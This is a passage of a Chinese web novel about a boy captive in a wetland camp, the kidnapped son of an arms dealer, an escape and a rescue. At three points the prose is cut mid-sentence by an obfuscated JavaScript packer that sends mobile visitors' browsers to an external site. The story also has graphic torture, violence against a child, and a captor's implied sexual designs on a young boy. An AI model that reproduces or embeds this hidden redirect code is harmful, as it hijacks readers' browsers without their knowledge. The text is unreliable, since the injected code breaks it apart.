史蒂文兴奋地拔高了嗓音:“哦!上帝啊!竟然是真的,奇妙的久别重逢!太戏剧性了!以前的好兄弟,如今却成了对立的敌人,一方还被蒙在鼓里,像一只无辜的小羊羔!莎士比亚都写不出这样的剧情!” 罗誉闭上眼,心说那是你读书少,他写过,《麦克白》。 史蒂文又兴奋了一小会儿,忽然想到了什么,几步迈到办公桌前,弯下腰把手肘撑在桌子上,凑近罗誉问道:“Boss,你让我查他其实不是不放心他,而是认出了他,为今天的事做准备和铺垫,对吧?” 罗誉睁开眼,看着对面钢蓝色的眼睛,点点头,语气平稳。“嗯,是的,你猜对了。” 史蒂文非常高兴,他难得能跟上罗誉的思路,偶尔能够猜对罗誉的想法会让他获得极大的成就感。 他丝毫没有怀疑罗誉会敷衍他。身为boss,对下属认真地肯定他的猜测,说“是的”,这是敷衍吗?敷衍难道不该是不耐烦地让他滚么?至于欺骗,那更不可能,哪家boss吃饱了撑的骗自家下属玩? “那么现在,我们多了一位天真无邪的大华警察兄弟。Louie,要打算进军大华么?” “……”罗誉没有第一时间回答,想了想说道,“现在的情况不在原本的计划中,只是预留的先手,走到现在这一步,后续的安排都要做出变动,让我想想后续该怎么做。” 史蒂文当然不会有任何异议,他心满意足地回了自己的房间,离开前还从酒柜中顺手拿了一瓶酒。他还沉浸在前面这出大戏中,今晚还可以好好回味。自从认识罗誉,这些年他没少看精彩的大戏。罗誉似乎总有着把他的对手们玩弄于鼓掌之中的能力。 罗誉独自坐在办公桌前,调低了灯光,一如他现在的心情。他再度摘掉了那副金丝眼镜。 “把那几条鱼都洗干净,晚上我要吃。”奈奈温支使罗誉干活已经非常自然。 自从那晚被用枪指着头之后,罗誉确实老实了。虽说在国内禁枪,但在电视上也不是没见过枪。如今毕竟不是在国内,罗誉虽小,也是明白自己的处境的。罗誉留了下来,确实没有再跑,他对奈奈温言听计从。没错,奈奈温和人贩子不一样,人贩子还指望着他卖钱,不听话也不会杀了他,奈奈温要他干活,但不听话可以让他随便埋在哪儿。 一晃又是小半年过去了,他每天要干很多的活,因为奈奈温除了心情好时做点绣品,其他的事情都支使罗誉去做,她甚至也在考虑教会罗誉做刺绣,这样她可能什么都不需要再干了。 她开始可以每天洗澡,换套衣服,也开始有心情和时间去关注怎样修饰自己。罗誉做饭也越来越好吃,这让奈奈温的心情更加舒畅。女人心情舒畅的时候,颜值都能提升一个档次。奈奈温就是觉得现在的自己比以往任何时候都更好,更精神,更娇艳,更有女人味。 听话的罗誉让奈奈温非常满意。说真的,在罗誉出现以前,奈奈温从未体验过这种绝对的掌控感。这种感觉让人沉醉,她有时候想,这大概就是一种毒吧,越陷越深,无法自拔。奈奈温已经无法想象,如果罗誉从自己身边逃开,她会有多么难以忍受。再找一个替代品吗?去哪儿找呢?这么聪明,这么能干,那么安静,还很漂亮的小男孩。 果然,女人是离不开男人的。奈奈温对着镜子,微笑起来。即便现在这个“男人”还并不算严格意义上的“男人”,但是没关系,奈奈温会让他成为“男人”,并且只是“她的”男人。 鱼的香味从外面飘进来,随着夕阳最后一丝光晕散去,配上清凉的夜风,这一切让奈奈温浅浅地生出一丝丝幸福的感觉。她深深地吸了一口气,身心舒畅,起身打开房门。 夜风拂面而来,心旷神怡。就在太阳落山那处,远远驶来一辆车,在夜色的掩映下,低调地滑入这片湿地,不久来到奈奈温房前停下。 车上跳下一名年轻男子。 奈奈温笑着迎上去。在一角架着锅煮鱼的罗誉听她称呼那男子,温敏。 温敏正是奈奈温的弟弟。他们二人的父母早已过世,早年两人相依为命,过得有些艰难。后来温敏渐渐长大,找到了出路,就出去闯荡,他跟随了一名叫杜拉的大哥,做的是军火走私的营生。奈奈温身为女子不便跟着他去闯那条路,温敏也不想让她一起刀口舔血,就让她独自生活。平时有空温敏就来看看她,照拂一二,帮她干点活,杀几个得罪过她的人,教训一下不礼貌的人,敲打敲打表面老实的人。一来二去,奈奈温的生活也就岁月安好起来。 奈奈温从不过问弟弟的事,弟弟已经长大了,并且很有出息,能够按照自己想要的方式生活,所以她完全信任弟弟帮她处理那些人和事情的方式。弟弟不仅仅给了她钱和自由,更重要的是,给了她生而为人的尊严。 她并不是心灵手巧的女人,她的手工水平非常一般,如果不是弟弟,是没有工坊会收她的货的,每次结钱还很爽利。如果不是弟弟,她甚至不会有那座小楼,她哪会有钱买呢?也不会自己搭建。当然是别人家看见弟弟的枪后,乖巧地送给她的,连带着那条小船一并送给了她,一分钱都没要。如果不是弟弟,她也不会有□□那种东西,还有那把小巧的手枪,这些宝贝前不久刚为她留下了罗誉,在过往的岁月里无数次给了她生活的底气和安全感。 温敏看起来刚成年的样子,脸上还带着点年轻稚气,看见姐姐迎上来,嘴角就先甜甜地翘起。姐弟两人在车边小声地聊了几句,温敏嗅到了鱼香。于是奈奈温将罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615097|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 誉叫了过来介绍给温敏,告诉他,这是她的小工,刚来联邦国的大华人。而后,奈奈温用中文对罗誉说,这是她的弟弟。 罗誉乖巧地向奈奈温和温敏点头致意,并用一句长一些的中文问好,最后加上一句联邦语中较为的简短的问候语。 温敏听到那句联邦语,有些高兴,对罗誉也笑了笑。奈奈温更觉得欣慰,自己的小工很懂得怎样讨好自己。 罗誉的联邦语水平在这大半年间突飞猛进,虽然他平时说得不多,也没太多机会需要与除了奈奈温之外的人交流,但他已经能听懂□□成。他当然没有对奈奈温表现过这一点能力,只在必要时说一些简单的词组来表达意思。当他被枪留下之后,他就知道,自己需要看起来笨一点,笨一点才更安全。 温敏看到罗誉,是有些意外的,虽然没有对他表现出敌意,但显然没有兴趣对他热络。知道他在煮鱼,温敏就假意提醒他别煮过头,让他去看着锅,随即将奈奈温往车边带了两步,小声说起话来。 罗誉没有表现出好奇,他刚刚发现了,温敏的衣襟下有一把枪。他试了试锅里奶白色的鱼汤,顺手又加了点配菜和调料进去,这个钟点过来,显然是要吃饭的,原本准备的饭菜份量可能会少一点。罗誉着手准备追加一个菜品。 晚饭时,温敏的胃口很好,对罗誉的手艺挺满意。也幸亏罗誉聪明地多做了些,这时就还能剩下一些汤底。晚饭算是让温敏尽了兴。 罗誉眼里有活,主动收拾了餐具拿出去清洗。 屋内开始小声的对话。 “你确定让他知道真的没事?”温敏的声音。 “能有什么事?” “他不会乱说吧?” “他来这里都没几个月,话都听不懂太多,也不认识人,说什么?”奈奈温显然并不担心。 “好吧。接下来一段时间,人就放这儿了。我也会在这里住一段时间。杜拉先生还会给我派一队人过来保护,今晚我确定这边没问题,他们明天就会过来。姐姐,不用担心。”温敏最后安慰了奈奈温一句。 随后,温敏带着奈奈温出来,打开车后备箱,拎出一个人来。趁着夜色,没人发现,两人将那人带进了高脚小楼的下层。 在联邦国,这种高脚小楼很常见,通常在下层可以养一些家禽,或者存放些大一点的工具。奈奈温没有养家禽,自己也没有那么多工具,下层基本闲置着。 不一会儿,姐弟二人重新回到上层。奈奈温这才叫来罗誉,要求他明天开始多做一些饭菜,吃剩的可以喂猪。 罗誉当然知道没有猪,但他只能假装听不太懂,只知道要多做饭。 第二天的傍晚,罗誉就发现周围几座小楼里住的人,在白天出去后就没有再回来,而代替他们回来的人都是一些精壮凶悍的男子。他们施施然地住进这些小楼,仿佛他们原本就是这里的主人。悄无声息间,这片湿地里的零散小村落竟然变成了一个隐秘的营地。 当晚饭的香味在河边弥漫开,罗誉听到了小楼下层不寻常的“咚咚”声。他没有自己直接进去,而是转头去找了奈奈温,磕磕巴巴地告诉她,好像有什么可怕的东西在那里面。奈奈温和温敏好笑地对视一眼,温敏终于对他放下心来。 奈奈温带着罗誉进了下层,指着被绑起来的一个人说:“这就是猪,我们要先养几天,这些日子拿些剩饭喂他就行,不用让他吃饱。” 罗誉小心翼翼地从奈奈温身后探出头,看向那人。那是个还未成年的男孩,应该比罗誉大不了几岁,但健壮不少。这时他是醒着的,对奈奈温和罗誉怒目而视,精神不错。要不是嘴被堵上了,他很可能上来咬两口。 罗誉看了一会儿,抬起头瞪大懵懂的眼睛,重复奈奈温的话:“喂剩饭。” 奈奈温赞许地点点头,“对,喂剩饭。” 19. 第 19 章 第十九章出逃 罗誉熟练地架火做饭,饭菜的香味弥漫开来。这两天的伙食比平时要丰富得多。温敏他们带来了不少肉,罗誉有了更丰富的食材,奈奈温就要求他做更多的花样,有时会还算耐心地给他讲解一下做法。今天这道汤粉的做法就是奈奈温临时教的。 不远处传来悉悉索索的声响。罗誉抬头看去,是一个精壮的汉子,正在打量他。罗誉认得,这汉子也是刚“搬来”的,就住在奈奈温家西南侧的另一座小楼里。 汉子被他发现了,也不觉尴尬,干脆向他走来,站到他的锅边,指着锅对他说了一长串。 罗誉听懂了,他问这是不是他煮的饭菜,煮的是什么。罗誉不回答,只是对他笑。 那汉子又问了句你怎么不回答,还是没有等到罗誉的回应,就把他当成了脑子不太灵光的小傻子。 罗誉看他凑近锅去闻了闻,拿了个勺子递给他,还是笑。汉子看他的眼神就变得没那么不耐烦了。孩子虽傻,倒也不惹人嫌。汉子拿勺子舀了一勺汤,吹凉了试着喝了一口,立刻挑起眉毛对罗誉表示赞赏。 随后,周围那些新来的邻居们陆陆续续围了过来,他们欢乐地交谈,惊叹原来这些天来的美味食物都是这个傻小子煮的,好几个自来熟的“兄长”还凑上来撸两把罗誉的脑袋。 配合他们的调侃,罗誉不是嘿嘿傻笑,就是重复“汤粉”、“猪肉”之类的几个词,充分地展示一个小傻子应该有的形象。 几个“兄长”看这一锅都快好了,也不管三七二十一,直接拿来几个碗,坐下就把这一锅给分了。一边吃,一边聊起来。大概也是因为罗誉看起来够傻,几人聊天并不不避讳什么。 在这群“兄长”的交谈中,罗誉听懂了。温敏提到过的杜拉,正是这群人的“老板”。包括温敏,他们这队人都是受到老板指派,来这里监管那只“猪”。这只猪似乎非常重要,需要藏好。不过这些人并不能知道更多。在这件事上,知道的最多的人显然是带队的温敏。 罗誉端着饭菜和茶水进屋。 奈奈温和温敏都没有管他,自顾自说话。 “他真的那么重要?”奈奈温正迟疑地向弟弟提问。 “是的。他是杜拉先生的猎物。” “猎物……他怎么招惹了杜拉先生?”奈奈温有些不解,手指指着地下,却只敢把声音压得更低。 “……姐姐。”温敏低声说道,“我只能告诉你,他是某位大人物的子嗣,目前对杜拉先生有很大的利用价值。我们需要保证他隐秘地活着。” 奈奈温听了没有异议,只是听说涉及到大人物,不免有些紧张起来。 温敏温言安抚:“姐姐,别担心,我们有杜拉先生,不会有事的。”同时,他也不忘提醒道,“不过,最近外面一定会有大风波,最好等到风波过去了再出去走动。” 奈奈温点点头,答应道:“没问题,工坊反正也不着急要我交货。我就在家做绣工,不出门就是了。” 温敏满意道:“那样最好。” 罗誉把热腾腾的饭菜放到桌上,给他们倒上茶水,顺手收拾了几样放乱的东西,安静地走出房间。这是最驯服的奴仆的姿态。 然后,他再次来到灶边。这会儿人都吃完了饭,四散而去,灶边一片狼藉。刚刚那群“兄长”们吃剩了一些汤底,给奈奈温姐弟俩送去的饭菜也有少量剩在锅底。罗誉把几样东西倒在一起,看起来卖相是挺糟,都是剩的,但好歹是干净的。他拿起那一碗“剩饭”,提上一个小水壶,进了小楼下层。 少年已经被饿了至少一天,精神头远不及昨晚刚见面时。他显然做过很多的挣扎,已经从昨晚躺着的地方挪出了一段距离,奈何手脚都被捆得结结实实,靠着在地上蠕动,肯定是逃不出去的。看见罗誉进来,那少年只哼哼了两声,眼神里是满满的轻蔑和不服,只不过什么也做不了。 罗誉走到他不远处,蹲下身把手里端的碗和小水壶放在地板上,看着他。既没有上前给他解开绳索,也没有主动来喂他。少年是真的饿,脾气也是真的硬,朝罗誉翻了个白眼就转过头去。 罗誉笑了,磕磕巴巴地说:“你心里,说,不喂我,不吃。”联邦语虽然生涩,倒也能听得懂。 少年转过头来。 罗誉无视他的瞪视,又说了句:“你,不想吃?不,你吃不了,嘴,堵着。” 少年的眼睛瞪圆了看他,这小鬼有事吗?我谢谢你提醒我嘴还堵着!少年气得胸脯起伏,又恶狠狠地哼哼了两声。 罗誉也不管他哼什么,托着腮帮子笑眯眯看着他,说道:“你家人,不知道,你,这儿。” 少年顷刻间顿住,肉眼可见地气焰低落了下去。 “所以你,闹,有什么用?自己,饿死?” 少年就算没有堵嘴,也说不过罗誉。他有些颓然地放松身体,瘫软下去。 不一会儿,高脚楼下层响起了几声半大少年暴躁的怒吼,接着是似乎被噎到的呜咽,咳呛声,被灌了食物和水之后的少年愤而怒骂,骂绑架他的人,骂看管他的人,骂折磨他的人,骂羞辱他的人,总之在座各位都是垃圾。闹了一会儿,终于安静了下来。 在上层正在吃饭的奈奈温姐弟把这些动静全都听在耳里,不约而同,相视一笑。不远处的邻居们也听见了,好笑地摇摇头。 在那之后,那个做饭的傻小子似乎找到了新的乐子。他时不时就钻进下层去逗弄一番,搞得对方大喊大叫,咒骂不已。三天后傻小子也能说两个骂人的词了,果然兴趣是最好的老师。 青珈河的水,千百年一如既往。而这两天,河畔竟然多了几分生气,这全都得益于某人每天都在做河豚,被气得饱饱的。只要他生气起来,其他人就幸灾乐祸地看热闹,他们的心情也会变得轻松愉悦,可以暂时忘记自己正在执行隐秘阴毒的任务,仿佛只是在集体出来度了个假。这个假期是如此的快乐,又是如此的安宁,以至于在某天夜里,一幢小楼突然窜起冲天火光时,他们似乎才想起来,这几天竟然没有去关注外面的大风波到底怎么样了…… 火烧得很大。这些建在湿地上的高脚小楼都是以木材、竹子、棕榈叶和草席等材料建成,极易燃烧,加之几幢小楼还挨得很近,风稍微大些就能火烧连营。 火势一起,营地里的人都被惊起。几个壮汉手忙脚乱地泼水灭火。从房内跑出来的温敏最先反应过来,推开跟来身后的姐姐,钻进下层去检查,里面果然空无一人。 “该死!”温敏只觉得心脏被一只看不见的手狠狠捏起,浑身发冷。那小子怎么会跑了呢!他必须保证万无一失的! 慢了半拍跟进来的奈奈温也被吓得不轻。她捡起地上半截绳子,那是被割断的。那小子身上早被搜过很多遍,不可能还留有锋利的东西。所以是有人帮他切断了绳子,将他救出去。 奈奈温猛然回头看向弟弟,急声说道:“是有人放火吸引我们的注意,他一定还没跑远!” 恐惧到微微发抖的温敏被叫醒,当即转身出去,呼喝着指挥手下不要再管房子,马上封锁营地,不要让人质逃出去。 在着火的小楼下方不远处,翻出几圈涟漪。慌张救火的人不会注意这些,但很快他们得到了首领的指令,不再像无头苍蝇一样,这时,躲在水下的危险性直线上升。 水面以下,两个男孩正憋着气,认准陆地的方向潜泳。在这里生活的这大半年,足够罗誉将这里的地形摸清,他的水性也得到了很大提升。 这片湿地区域的水生植被很茂盛,很容易被水草缠住或者割伤。两人小心地避开过于茂密的水草,奋力往前游动。 但他们很快被发现了。火势太大,火光照亮了一大片水域,高处的人有心观察,就发现了他们。整个营地的男人们都跳上小船,开始围拢过来,形成包抄之势。 两个男孩拼命往前划水,可是孩子的游泳速度怎么可能跟成年男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615098|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划起的轻快的小木船比呢?距离越来越近,缺氧带来的疲惫感和被追逐的紧迫感让两个男孩心脏狂跳。当他们终于触及浅滩,跃出水面时,两人都是手脚发软,胸腔发出破风箱一般的声音。 没有人敢停下脚步,他们麻木地往前迈步奔跑。 身后是船上男人们几乎失去理智般的怒吼,叫喊着让他们停下。在没有得到任何反应的下一刻,船上“砰”地一声,射来一发子弹,堪堪擦着罗誉的小腿射在地上。 罗誉听到一声女人的尖叫,似乎是在阻止枪手再次射击他。不过没有用,温敏不可能去打那只“猪”。 罗誉不顾一切往前跑。不知为何,他突然就有个念头,如果跑不出今晚,这辈子也就到这儿了。 不!他不能死在这里!他还要回家! 又是几声枪响,每一发子弹都很不礼貌地直直朝着罗誉而来。罗誉能感觉到每一发子弹滚烫的热度。其中一发子弹擦过他的头皮,一阵热辣辣的,罗誉不知道自己有没有流血,他顾不上!他脑子里只有那句话:我不能死,我要回家! 就在这时,跑在他身前大约两个身位的少年突然被什么东西绊到,脚下一软摔倒在地。 罗誉毫不犹豫从地上捞起他,半拖半抱地继续往前奔跑。两人紧紧靠在一起,背后的枪声也只好停下。但两个人这样跑得更慢了,被追上只是时间问题。 罗誉架着少年磕磕绊绊没跑两步,果然因为节奏没有同步而失去平衡,两人一起重重地摔倒在地。 追赶的男人们飞快地冲上来把他们围在中间。 温敏握着枪赶上来,拨开几个手下出现在罗誉面前。他满脸的戾气,狰狞可怖,这让他现在看上去一点不像刚成年。温敏怒不可遏,他差点搞丢了杜拉先生的重要人质。如果人质真的丢了,坏了杜拉先生的事,他也会倒霉!绝对会倒霉!而这一切,都是拜眼前这个狡猾阴险的小子所赐! 温敏伸手一把抓起罗誉的头发,将他拽得向后仰起,凶狠得像一匹野狼,把罗誉的头发都拽掉了一小片。他咬牙切齿地对罗誉说道:“小子,我不会轻轻巧巧地放过你,你会哭着求我快点杀了你!” 这时候,奈奈温也追了上来,她喘着粗气,紧紧盯着罗誉,猛地扑上来从温敏手中抢过罗誉。温敏以为姐姐还想保这个小杂种,却见奈奈温照着罗誉的脸左右开弓,一连扇了十几个耳光,指甲在罗誉的脸上划出道道血痕。 她恨,她好恨!奈奈温知道自己不讨人喜欢,她想过不会有男人喜欢她,所以她才另辟蹊径地想着养成罗誉,可她万万想不到,罗誉这么小年纪,竟然也会骗她,还骗得这么大!原本以为在罗誉身上找到的身为女人的自信和尊严,统统被践踏得稀碎! 这个小杂种,当初就不该从青珈河里救起他,他就应该淹死在河里,被水冲到不知名的地方,腐烂,发胀,被野兽撕开,啃食干净! 奈奈温看着满是血痕的脸,这张脸,原本深得她的欢心,她还憧憬过,等他长大了该会有多么英俊,可现在,她只想撕烂这张脸! 发疯的女人让所有的男人都心生寒意,温敏大叫着试图阻止姐姐,最后还是让两个手下上去拉开了她。 罗誉不发一言,没什么可说的。 那天他假装羞辱被捆成粽子的少年,对他说:“所以你,闹,有什么用?自己,饿死?” 少年就算没有堵嘴,也说不过罗誉。他有些颓然地放松身体,瘫软下去。但不消一刻,又突然竖起脖子,目光炯炯地望向罗誉。他突然意识到,罗誉不像看起来那么简单。 头天晚上,他见到罗誉时,他瑟缩在那个女人身后,偷偷地观察他,胆小如鼠。可今天,他的表现绝不怯懦。这小鬼对他说那么多,不是为了羞辱或者调侃他,是有话要对他说! 托着腮的罗誉勾起唇角,看来还不算是蠢货。他凑近少年的耳边,用气声对他说:“很简单。我能帮你逃出去。条件就是,你要带我一起走。” 20. 第 20 章 被抓住了。就跟八岁那年之后的每一次一样,他总归逃不出去。今晚被抓住,又有些不一样,恐怕就到这儿了。他们会把他埋在这儿,不,他们没必要,大概随便扔在哪里就行了。 看来他再也回不去家了…… 心里胡乱想着,眼神放空,遥遥望向天边,他已分不清方向,那边是家的方向吗? 就在罗誉感到绝望时,被摁在地上的人质少年对奈奈温等人大吼:“不许动他!放开我们!你们都得死!” 而就像是回应这句话一般,在他们前方不远处的阴影里,悄无声息地划出了几个精悍的人影。他们个个端着枪,枪口骤然喷出火光,温敏这边几个手下未及反应就被射中倒地。 接着,另一个方位上又出现了几人。然后,四面八方…… 这些人如神兵天降,将温敏等人团团围住。 一个高大的男人迎着两个男孩走来,人质男孩一个不稳差点再次摔倒,男人眼疾手快将他扶住,揽进怀中。 罗誉疲惫满身,跌坐在地,再也没有力气动弹。 奈奈温姐弟和手下的人全部被捆住。罗誉则和那个少年一起被带到不远处的另一个浅滩上。 在一块干净的石头上,一个硬朗的中年男人大马金刀地坐在上面,看见人质少年走近时,脸上的肃杀之气明显淡了几分。这个男人,浑身的气质让人不太舒服,那是一种莫名的凶戾。 人质少年先开了口。“父亲!” 他在被绑架期间表现得始终桀骜,温敏等人从未怀疑,说明这至少是他本身性格的一部分。但此时,在这位中年男人面前,少年乖顺地微微低下头颅,语气恭敬。 他的父亲将他从头到脚地打量了一遍,虽然没有笑容,态度倒是温和的。“还好吧?”他状似轻描淡写地问了句。 “我没事,父亲。我就知道父亲会来救我的。” 中年男人听了这句,脸上终于露出了淡淡的笑意。 “很好,是我诺坎的儿子!”他招了招手,让儿子靠近一些,伸手略有些粗鲁地把儿子脸上沾上的灰渍抹了两下。 “瘦了点,回去给你吃点好的。”说着拍了拍儿子的肩膀,沾了一手泥水。粗线条的男人这才注意到儿子身上都是湿的,难得地展现了身为父亲的温情。他脱下自己的外套,裹在了儿子身上。 少年浑身一震。多少年了?在母亲去世后,他终于再次感受到了父亲的关爱。鼻尖一酸,眼眶红了。他不能哭,父亲不喜欢软弱。少年迅速地用手背抹掉还没掉落的眼泪。他是诺坎的儿子,他没有资格软弱。 诺坎当然知道自己的儿子劫后余生,情绪难免有起伏,半大的小子正是内心丰富的时候。他并不苛责孩子,这些年来,他也清楚确实是自己忽略了独子,在他的成长中缺位了。如果不是这次的事情,他可能还没有意识到这一点。所幸的是,儿子今天的表现令他非常欣慰,他没有长成那种毫无意志、轻易屈服的软蛋,也没有变成只知蛮干、不可理喻的疯子,而是清醒地分析局势,用脑子保全了自己。 诺坎这几天过得大起大落,宛如身在炼狱。 先是得知自己的儿子瑟杰被不明人士绑架了。接着查出并不是那些愚蠢的老对手们作的妖,而是出了内鬼。以迅雷不及掩耳之势抓出了内鬼,快到内鬼完全没反应过来自己哪里露了马脚。干得漂亮!更漂亮的是,诺坎发现绑架瑟杰的内鬼竟然是自己的得力助手杜拉! 诺坎不能接受背叛,这辈子最恨的就是叛徒。他的妻子丽娅就是死于好友的背叛,他当即发誓会活剖了叛徒,把他像洋葱一样一片一片剥开,他做到了。所以这一次也一样。 背叛不会是一时兴起,杜拉跟了诺坎很多年,如果他一直心怀不轨,以往曾经有过很多次机会都比现在更好。诺坎继续追问,杜拉却不肯说,甚至拿瑟杰的安全做威胁。很好,这态度正说明背后还有一个人,是他想要保护的人。 果然,是个女人。操蛋的是,这女人现在每天和自己睡一张床!贱货! 那个婊子,尖叫着求饶,求他放过,说起她这么做的原因是“太过爱他”。她说希望他的目光能够永远放在她身上,希望能为他生下儿子,说她嫉妒他的前妻,那是个她永远无法战胜的对手……这太可笑了,她以为诺坎是凭什么成为东南亚第一大军火商的?用□□么? 一听自己将要获得的结局,这个婊子果断抛弃了杜拉,声称是杜拉□□了她,还胁迫她参与绑架瑟杰。一番话漏洞百出,诺坎都要笑出声了。一旁的杜拉难以置信地看着这个女人,他可以用自己的命来保护这个女人,可她却选择把所有的罪名都推到他的头上。于是出现了永远经典的戏码:狗咬狗。 诺坎看着这两个人,他们荒诞得犹如一幅油画。 一个是自己信任有加的得力助手,诺坎一直重用着他,让他在组织中手握大权。而他辜负了这份信任。 另一个是近来觉得有趣的女人,诺坎虽不爱她,但确实考虑过让她作为自己的长期伴侣,她即便虚荣一些也没什么,诺坎有资本让她虚荣。她填补他的空虚,他满足她的物欲,很公平。可这婊子却妄想干掉他,吞掉他打下的江山!更可恶的是,她竟然敢对丽娅的孩子下手! 是的,当诺坎知道背后最终的黑手就是这个叫妮娜的女人时,他就看透了一切。他清楚自己是严重低估了妮娜的野心。 丽娅去世之后数年,诺坎身边的女人都是“次抛”。妮娜是几个月前和他在一起的,也正是因为一眼看到她身上赤裸的欲望,觉得这个女人够坦然,够简单,这才在她身上结束了“次抛”的命运。如今看来,妮娜的目标并不仅止于某个大佬的玩物,她想做的是女王。 狗咬狗的过程不单透露了瑟杰的下落,也总能揭露出许多不堪。比如,几乎就是在得到诺坎宠爱的同时,妮娜就将杜拉收为裙下之臣;杜拉非常自得于他比诺坎更能满足妮娜这小妖精,也正是这点未知真假的床上优势,让他误以为自己在别的方面也能干得过诺坎,于是轻易地被怂恿着成了叛徒。 现如今,她满嘴谎话,口口声声都是她的爱,她的情,她真以为这种花言巧语能够骗得了人?哦,对,她能骗得了杜拉那蠢货。他们真是绝配,那就永远在一起吧!是的,他想到了惩罚他俩的办法!让杜拉那个自以为是的蠢货,亲眼看看这个下半身填不满的小婊子到底能吃下多少,然后,他们可以一起变成两颗洋葱! 当诺坎终于明确地得知瑟杰没有被撕票,终于安下心来,也对营救儿子更加迫不及待。 今天白天,当他们来到这个营地附近时,诺坎忽然就冷静了下来。他看到了一个记号,那是一组特殊的记号,是丽娅专属的记号…… 诺坎的第一反应竟然是爱人回来了,恍惚一瞬之后才清醒过来,这只能是瑟杰——他唯一的儿子,给自己留的暗语。 他在被绑架的境遇中,还能设法给自己留下信息,这小子做得非常好。丽娅,你看到了,对么? 冷静下来的诺坎开始根据此地的情况做出部署。随后他发现,显然自己的儿子非常了解自己,在好几处他认为会是关键的地方,都发现了儿子留下的记号,其中有一组甚至传达了明确的信息:从水中走。 诺坎为自家儿子带给自己的层层惊喜激动不已。丽娅,我们的儿子如此优秀,你会和我一样为他骄傲的,对么? 虽然是一位失职了很多年的父亲,但父子之间的默契也不是一点都没有。诺坎明白儿子的意思,接下来他只需要等待时机成熟,接应瑟杰就好。他在那条“从水中走”的记号边,留下了自己的专属印记。 今夜,注定无眠。 果不其然,一把大火冲破平静的夜。 他的小狼崽子正在向他未来的权柄飞奔。如果他能够成功出逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615099|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,诺坎接下来就会全身心地投入,培养这个继承人,如果他没能跑出来……丽娅,你会为他祈祷的,对么? 诺坎拿着望远镜,目光紧紧黏在儿子身上。瑟杰不单跑出来了,他还带出来一个小崽子。很好,他在短短几天内,身处绝境,还能够成功收服一个追随者!他有勇有谋,小小年纪已经展现出一个领导者的绝佳天赋!丽娅,你果然是我最好的同路人,即便你离开了我们,依然留下了一个如此优秀的孩子,你给我的太多太多! 诺坎远远看着两个拼命的小崽子,很是快慰。江山代有人才出,他不会以为自己能够称霸百年。而这两人,未来一定会是成就斐然的英杰。所以,他们就算要死,也应该死得轰轰烈烈,而不是死在这里,死在一群恶心的杂鱼手里! 他们,不能死在这里。 他们,不会死在这里! 诺坎温柔地为瑟杰紧了紧衣服,难得细心一把,觉得夜晚还是太容易着凉,于是带上人,转移到营地里的小楼里。这样,瑟杰和罗誉都能够打理干净,再换身衣服。 罗誉收拾完,又被带到了瑟杰身边。所有的人都默认了他现在是瑟杰的小跟班。罗誉也没有做声,默默听从安排。 此时的瑟杰也已经洗掉了一身的狼狈,干干净净地站在诺坎的身边。诺坎坐在主位,依旧大马金刀的姿态。 温敏被五花大绑,扔在地上。此时的他早已没有刚才抓住罗誉时的凶狠狰狞,他瑟缩着,因为恐惧而脸色煞白。他刚刚见识了一个小弟,由于诺坎希望他们都能“听话”,而被选中,堵住嘴,活活地一刀刀削去膝盖以下的肉,只剩下森白的胫骨。那个小弟的惨叫声他浑然没有注意,但刀刃刮在骨头上的声音一声声穿刺入脑。 太可怕了!诺坎先生果然是个魔鬼! 温敏内心还在盘算怎么跟诺坎先生说明他是在为杜拉先生做事,就被拎起来拖到了诺坎面前。他听到曾被他绑来的小子,轻声地对诺坎说:“父亲,他就是这队人里领头的,就是他绑架了我。” 温敏一时间肝胆俱裂!他知道这小子有点来历,可完全没想到他竟然就是诺坎先生的儿子!诺坎先生只有一个儿子!所以杜拉先生让他绑架诺坎先生的儿子? “一定……一定是有什么误会!诺坎先生!”温敏哆嗦着试图解释。 坐着的中年男人居高临下,冷漠地看着地上的蝼蚁,说:“没有什么误会。” “不是!不是的!诺坎先生,我是您的手下!” 诺坎忍不住讥笑:“你是说,我指派你去绑架了我自己的亲生儿子?” “诺坎先生,诺坎先生,我……对不起,我不知道小公子是您的……这是误会,真的是误会!您看,我也没有伤害小公子……” 温敏未及说完,就被瑟杰打断。“父亲,他们把我关在下层,绑着不让吃饭,还说我是猪,要吃饭只配吃猪食。” 温敏眼睁睁就看着诺坎的脸色比先前更阴沉了。“这,这不是我说的,这不是我说的!这……”仓惶间,温敏瞥见一旁安静站着的罗誉,“这都是那个小杂种说的!我们都听见了,是这小杂种说的!都是他!是他侮辱小公子的!” 诺坎顺着温敏的视线一撇,并不见得有多在意,随口问道:“他是谁?” 